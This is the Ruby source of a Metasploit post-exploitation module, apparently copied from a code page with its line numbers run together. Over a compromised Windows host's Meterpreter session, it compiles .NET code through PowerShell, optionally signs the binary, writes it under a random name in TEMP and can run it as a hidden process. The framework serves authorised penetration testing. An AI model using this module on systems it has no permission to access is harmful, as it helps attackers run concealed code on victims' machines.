Path: blob/master/modules/post/windows/manage/powershell/build_net_code.rb
19611 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6Rank = ExcellentRanking78include Msf::Post::Windows::Powershell9include Msf::Exploit::Powershell::DotNet1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Powershell .NET Compiler',16'Description' => %q{17This module will build a .NET source file using powershell. The compiler builds18the executable or library in memory and produces a binary. After compilation the19PowerShell session can also sign the executable if provided a path the20a .pfx formatted certificate. Compiler options and a list of assemblies21required can be configured in the datastore.22},23'License' => MSF_LICENSE,24'Author' => 'RageLtMan <rageltman[at]sempervictus>',25'Platform' => [ 'windows' ],26'SessionTypes' => [ 'meterpreter' ],27'DisclosureDate' => '2012-08-14',28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31stdapi_fs_stat32stdapi_sys_config_getenv33stdapi_sys_config_getsid34stdapi_sys_process_execute35]36}37},38'Notes' => {39'Stability' => [CRASH_SAFE],40'SideEffects' => [],41'Reliability' => []42}43)44)4546register_options(47[48OptPath.new('SOURCE_FILE', [true, 'Path to source code']),49OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]),50OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', 'mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll' ]),51OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]),52OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),53OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider'])54]55)56register_advanced_options(57[58OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0'])59]60)61end6263def run64fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'65fail_with(Failure::BadConfig, 'PowerShell is not installed') unless have_powershell?6667# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either68if client.sys.config.is_system?69print_error 'Cannot run as system'70return 071end7273# End of file marker74eof = Rex::Text.rand_text_alpha(8)75env_suffix = Rex::Text.rand_text_alpha(8)76net_com_opts = {}77net_com_opts[:target] =78datastore['OUTPUT_TARGET'] ||79"#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(8..15)}.exe"80net_com_opts[:com_opts] = datastore['COMPILER_OPTS']81net_com_opts[:provider] = datastore['CODE_PROVIDER']82net_com_opts[:assemblies] = datastore['ASSEMBLIES']83net_com_opts[:net_clr] = datastore['NET_CLR_VER']84net_com_opts[:cert] = datastore['CERT_PATH']8586begin87net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE'])88script = dot_net_compiler(net_com_opts)89if datastore['Powershell::Post::dry_run']90print_good "Compiler code:\n#{script}"91return92end93rescue StandardError => e94print_error e95return96end9798vprint_good "Writing to #{net_com_opts[:target]}"99100# Execute the powershell script101print_status 'Building remote code.'102cmd_out, running_pids, open_channels = execute_script(script, true)103get_ps_output(cmd_out, eof)104vprint_good "Cleaning up #{running_pids.join(', ')}"105106clean_up(nil, eof, running_pids, open_channels, env_suffix, false)107108# Check for result109begin110size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size111print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb"112rescue StandardError113print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \114" NET CLR version #{datastore['NET_CLR_VER']} possibly not available"115return116end117118# Run the result119if datastore['RUN_BINARY']120cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'),121nil, 'Hidden' => true, 'Channelized' => true)122while (out = cmd_out.channel.read)123print_good out124end125end126127print_good 'Finished!'128end129end130131132